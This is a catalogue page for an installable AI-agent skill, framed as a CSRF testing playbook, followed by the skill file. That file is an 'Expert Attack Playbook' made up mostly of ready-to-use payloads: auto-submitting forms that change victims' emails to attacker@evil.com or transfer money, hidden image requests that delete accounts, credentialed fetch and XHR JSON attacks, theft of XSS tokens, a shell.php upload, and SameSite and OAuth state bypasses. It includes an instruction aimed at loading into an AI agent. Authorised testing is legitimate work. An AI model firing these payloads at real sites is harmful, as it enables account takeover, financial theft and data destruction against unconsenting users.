csrf-cross-site-request-forgery
CSRF testing playbook
Install / Use
npx skills add yaklang/hack-skills --skill csrf-cross-site-request-forgeryInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
Development & EngineeringSupported Platforms
Our assessment of csrf-cross-site-request-forgery
csrf-cross-site-request-forgery scores 83/100 on our quality scale, 3097th of 4,700 Development & Engineering skills we index.
Its SKILL.md is 16 KB long, well organised into 46 sections with 36 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so csrf-cross-site-request-forgery is actively maintained.
- Our last check on 2026-11-07 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.
AI review by kimi-k2.7-code on 2026-10-02. Automated pattern scan on 2026-10-02. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
csrf-cross-site-request-forgery compared with similar skills
All 4 of these similar skills score higher than csrf-cross-site-request-forgery; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| csrf-cross-site-request-forgery (this skill)by yaklang | 83 | 2.3k | 2mo ago | SKILL.md |
| taste-skillby Leonxlnx | 100 | 116.8k | 8d ago | CLAUDE.md |
| ai-job-searchby ai-job-search-dev | 100 | 72.1k | today | CLAUDE.md |
| claude-howtoby luongnv89 | 100 | 47.3k | 2d ago | CLAUDE.md |
| lobehubby lobehub | 100 | 85.6k | today | MCP Server |
Frequently asked questions
- How do I install csrf-cross-site-request-forgery?
- Run
npx skills add yaklang/hack-skills --skill csrf-cross-site-request-forgery. The install tabs above show the steps for each supported agent. - Which AI agents does csrf-cross-site-request-forgery work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is csrf-cross-site-request-forgery safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is csrf-cross-site-request-forgery still maintained?
- The repository was last updated about 2 months ago, so csrf-cross-site-request-forgery is actively maintained.
Skill content
View source on GitHubname: csrf-cross-site-request-forgery description: >- CSRF testing playbook. Use when reviewing state-changing web flows, anti-CSRF defenses, SameSite behavior, JSON CSRF, login CSRF, and OAuth state handling.
SKILL: CSRF — Cross-Site Request Forgery — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert CSRF techniques. Covers modern bypass vectors (SameSite gaps, custom header flaws, tokenless bypass patterns), JSON CSRF, multipart CSRF, chaining with XSS. Base models often present only basic CSRF without covering SameSite edge cases and common broken token implementations.
0. RELATED ROUTING
Also load:
- cors cross origin misconfiguration when JSON endpoints become readable cross-origin
- oauth oidc misconfiguration when login, account linking, or callback binding relies on OAuth state
1. CORE CONCEPT
CSRF exploits a victim's active session to perform state-changing requests from the attacker's origin.
Required conditions:
- Victim is authenticated (active session cookie)
- Server identifies session via cookie only (no secondary check)
- Attacker can predict/construct the valid request
- Cookie is sent cross-origin (SameSite=None or legacy behavior)
2. FINDING CSRF TARGETS
High-value state-changing endpoints:
- Password change ← account takeover
- Email change ← account takeover
- Add admin / change role ← privilege escalation
- Bank/payment transfer ← financial impact
- OAuth app authorization ← hijack oauth flow
- Account deletion
- Two-factor auth disable
- SSH key / API key addition
- Webhook configuration
- Profile/contact info update
3. TOKEN BYPASS TECHNIQUES
No Token Present
Simplest case — form simply lacks CSRF token. Check if POST /change-email has any token. If not → trivially exploitable.
Token Not Validated (most common finding!)
Token exists in request but is never verified server-side:
Remove the _csrf_token parameter entirely → does request still succeed?
→ YES → trivial bypass
Token Tied to Session but Not to User
Step 1: Log in as UserA → obtain valid CSRF token
Step 2: Log in as UserB in other browser → obtain UserB CSRF token
Step 3: Use UserB's CSRF token in UserA's session (attacker controls UserB)
→ If server validates token exists but doesn't check if it belongs to the session → bypass
Token in Cookie Only
When server sets CSRF token as cookie and expects it back in a header/form:
Set-Cookie: csrf=ATTACKER_CONTROLLED
→ If cookie can be set by subdomain (cookie tossing): set cookie to known value
→ Submit form with known token in header + known token in cookie = bypass
Static or Predictable Token
→ Same token across all users/sessions
→ Token = base64(username) or md5(session_id) → reversible
→ Token = timestamp → predictable
Double Submit Cookie Pattern (broken if subdomain trusted)
If attacker can write cookies for .target.com from subdomain XSS or cookie tossing:
→ Set csrf_cookie=CONTROLLED on .target.com
→ Submit request with X-CSRF-Token: CONTROLLED
→ Server checks header == cookie → match → bypass
4. SAMESITE BYPASS SCENARIOS
SameSite=Lax (modern browser default): cookies sent for top-level GET navigation, NOT for cross-site iframe/form POST.
Bypass SameSite=Lax via GET method:
<!-- If server accepts GET for state-changing endpoint: -->
<img src="https://target.com/account/delete?confirm=yes">
<script>document.location = 'https://target.com/transfer?to=attacker&amount=1000';</script>
Bypass via subdomain XSS (SameSite Lax/Strict):
// XSS on sub.target.com → same-site origin → SameSite cookies sent!
// Use XSS as staging point for CSRF
window.location = 'https://target.com/account/modify?evil=true';
SameSite=None (legacy or explicit): cookies sent everywhere → classic CSRF applies.
Cookie issued recently? Lax exemption: Chrome has a 2-minute exception where Lax cookies ARE sent on cross-site POSTs if the cookie was just set (for OAuth flows). Race window: set cookie, immediately trigger CSRF within 2 minutes.
5. CSRF PROOF OF CONCEPT TEMPLATES
Simple Form POST
<html>
<body>
<form id="csrf" action="https://target.com/account/email/change" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="confirm_email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
Auto-click Submit
<body onload="document.forms[0].submit()">
<form action="https://target.com/transfer" method="POST">
<input name="to" value="attacker_account">
<input name="amount" value="10000">
</form>
</body>
CSRF via GET (with img tag)
<img src="https://target.com/api/v1/admin/delete-user?id=12345" style="display:none">
CSRF with Custom Header (XMLHttpRequest — same-origin only, defeats naive defenses)
If API requires custom header like X-CSRF-Token but also accepts JSON with wildcard CORS — custom headers don't protect if CORS misconfigured:
// If Access-Control-Allow-Origin: * with credentials → broken
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/transfer");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true; // still need cookie sending
xhr.send('{"to":"attacker","amount":1000}');
6. JSON CSRF
When endpoint accepts Content-Type: application/json — fetch() with CORS credentials:
// If CORS allows credentials + the endpoint:
fetch('https://target.com/api/v1/change-email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
});
Requires: Access-Control-Allow-Origin: https://attacker.com AND Access-Control-Allow-Credentials: true
If server only accepts application/json but no fetch CORS:
Can't do proper JSON CSRF from HTML form (forms can only send application/x-www-form-urlencoded, multipart/form-data, text/plain).
Trick — Content-Type Downgrade: If server processes text/plain body as JSON:
<form enctype="text/plain" method="POST" action="https://target.com/api">
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
Resulting body: {"email":"attacker@evil.com","ignore":"="}
7. MULTIPART CSRF
When changing Content-Type from application/json to multipart/form-data and request still works:
<form method="POST" action="https://target.com/api/update" enctype="multipart/form-data">
<input name="email" value="attacker@evil.com">
</form>
8. CSRF + XSS COMBINATION (CSRF Token Bypass)
When CSRF protection is otherwise solid, XSS enables CSRF bypass:
// Step 1: XSS reads CSRF token from DOM
var token = docu…[redacted]('input[name="csrf_token"]').value;
// Step 2: Submit CSRF request with real token
var xhr = new XMLHttpRequest();
xhr.open('POST', '/account/delete', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('confirm=yes&csrf_token=' + token);
9. OAUTH CSRF (STATE PARAMETER MISSING)
OAuth flow without state parameter → CSRF on the OAuth authorization:
Attack:
- Attacker initiates OAuth flow, gets authorization code
- Before exchanging code, stops the flow (captures the redirect URL with code)
- Sends victim the crafted URL:
https://target.com/oauth/callback?code=ATTACKER_CODE - Victim's browser exchanges the attacker's code → victim's account linked to attacker's OAuth provider
Impact: Attacker can log in as victim.
10. CSRF TESTING CHECKLIST
□ Remove CSRF token entirely → does request succeed?
□ Change CSRF token to random value → does request succeed?
□ Use CSRF token from another user's session → does request succeed?
□ Check if GET version of POST endpoint exists
□ Check SameSite attribute of session cookie
□ Test if Content-Type change (json → form → text/plain) still processes
□ Check CORS policy: does Access-Control-Allow-Credentials: true appear?
With wildcard or attacker origin? → exploitable JSON CSRF
□ Check OAuth flows for missing state parameter
□ Test referrer-based protection: send request with no Referer header
□ Test referrer-based protection: spoof subdomain in referer
11. JSON CSRF TECHNIQUES
Method 1: text/plain Disguise
<!-- Browser sends Content-Type: text/plain with JSON-like body -->
<form action="https://target.com/api/role" method="POST" enctype="text/plain">
<input name='{"role":"admin","ignore":"' value='"}' type="hidden">
<input type="submit" value="Click me">
</form>
<!-- Resulting body: {"role":"admin","ignore":"="} -->
<!-- Server may parse as JSON if it doesn't strictly check Content-Type -->
Method 2: XHR with Credentials
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/role", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send('{"role":"admin"}');
</script>
<!-- Only works if CORS allows the origin (misconfigured CORS + CSRF combo) -->
Method 3: fetch() API
<script>
fetch("https://target.com/api/role", {
method: "POST",
credentials: "include",
headers: {"Content-Type": "text/plain"},
body: '{"role":"admin"}'
});
</script>
12. MULTIPART CSRF & CLIENT-SIDE PATH TRAVERSAL
Multipart File Upload CSRF
<script>
var formData = new FormData();
formData.append("file", new Blob(["malicious content"], {type: "text/plain"}), "shell.php");
formData.append("action", "upload");
fetch("https://target.com/upload", {
method: "POST",
credentials: "include",
body: formData
});
</script>
Client-Side Path Traversal to CSRF (CSPT2CSRF)
Normal flow: Frontend fetches /api/user/PROFILE_ID/settings
Attack: Set PROFILE_ID to ../../admin/dangerous-action
Result: Frontend's fetch() hits /api/admin/dangerous-action with victim's cookies
This converts a path traversal into a CSRF-like attack without needing a CSRF token
| Aspect | Traditional CSRF | CSPT2CSRF | |---|---|---| | Origin | Attacker's site | Same-origin JavaScript | | Token bypass | Needs token forgery | No token needed (same-origin) | | SameSite | Blocked by SameSite=Strict | Bypasses SameSite (same site!) | | Detection | Standard CSRF checks | Requires input validation on path segments |
13. SAMESITE=LAX ADVANCED BYPASS TECHNIQUES
13.1 Top-level navigation via window.open() (2-minute window)
Chrome's Lax+POST exception: cookies with SameSite=Lax are sent on cross-site POST requests if the cookie was set within the last 2 minutes (exists for OAuth flows).
// Attacker page: trigger login to set a fresh cookie, then immediately CSRF
// Step 1: Force victim to visit target (sets fresh session cookie)
window.open('https://target.com/login');
// Step 2: Within 2 minutes, POST to state-changing endpoint
setTimeout(() => {
const form = document.createElement('form');
form.method = 'POST';
form.action = 'https://target.com/account/change-email';
form.innerHTML = '<input name="email" value="attacker@evil.com">';
document.body.appendChild(form);
form.submit();
}, 5000);
13.2 302 redirect chain from attacker site
Lax cookies are sent on top-level GET navigations. A redirect chain converts GET into action:
1. Attacker page → 302 redirect to https://target.com/transfer?to=attacker&amount=1000
2. Browser follows redirect as top-level navigation → Lax cookies sent
3. If target accepts GET for state-changing operations → CSRF succeeds
13.3 Method override: POST disguised as GET
Many frameworks support method override via `_met
Truncated for display — read the full file on GitHub.
Related Skills
taste-skill
116.8kAgent skills that give coding agents taste: art direction, reference images and a browser check instead of generic AI pages
ai-job-search
72.1kThe job search that runs on your machine. AI job application framework built on Claude Code: evaluate postings, tailor CVs, write cover letters, prep interviews. Fork it and own it.
claude-howto
47.3kA visual, example-driven guide to Claude Code — from basic concepts to advanced agents, with copy-paste templates that bring immediate value.
lobehub
85.6k🤯 LobeHub - Super-Agents on Your Team. Add super-agents to the chats your team already uses.They take on work by themselves and get better every week.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
